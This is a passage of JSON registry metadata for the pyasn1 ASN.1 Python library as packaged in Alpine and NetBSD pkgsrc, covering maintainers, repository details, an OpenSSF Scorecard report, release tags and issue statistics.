s/alpine-v3.23/packages/py3-asn1-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-asn1-pyc/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":487,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2026-03-05T06:55:43.785Z","updated_at":"2026-03-05T06:55:43.785Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27576,"maintainers_count":428,"namespaces_count":2,"keywords_count":189,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1013},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-08-20T05:04:43.686Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":14537705,"name":"security/py-asn1","ecosystem":"pkgsrc","description":"ITU Abstract Syntax Notification for Python","homepage":"https://github.com/pyasn1/pyasn1","licenses":"2-clause-bsd","normalized_licenses":["MulanPSL-2.0"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":["security","python"],"namespace":"security","versions_count":1,"first_release_published_at":"2026-03-22T20:13:12.000Z","latest_release_published_at":"2026-03-22T20:13:12.000Z","latest_release_number":"0.6.3","last_synced_at":"2026-05-27T09:37:46.882Z","created_at":"2026-05-27T09:37:46.477Z","updated_at":"2026-08-15T09:21:24.926Z","registry_url":"https://pkgsrc.se/security/py-asn1","install_command":"pkg_add py314-asn1","documentation_url":"https://pkgsrc.se/security/py-asn1","metadata":{"pkg_slug":"py-asn1","pkgbase":"py311-asn1","machine_arch":"x86_64","opsys":"NetBSD","pkgname_latest":"py311-asn1-0.6.3"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.925Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:pkgsrc/security/py-asn1?arch=x86_64\u0026os=NetBSD","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pkgsrc/security/py-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pkgsrc/security/py-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pkgsrc/security/py-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/security%2Fpy-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/security%2Fpy-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/p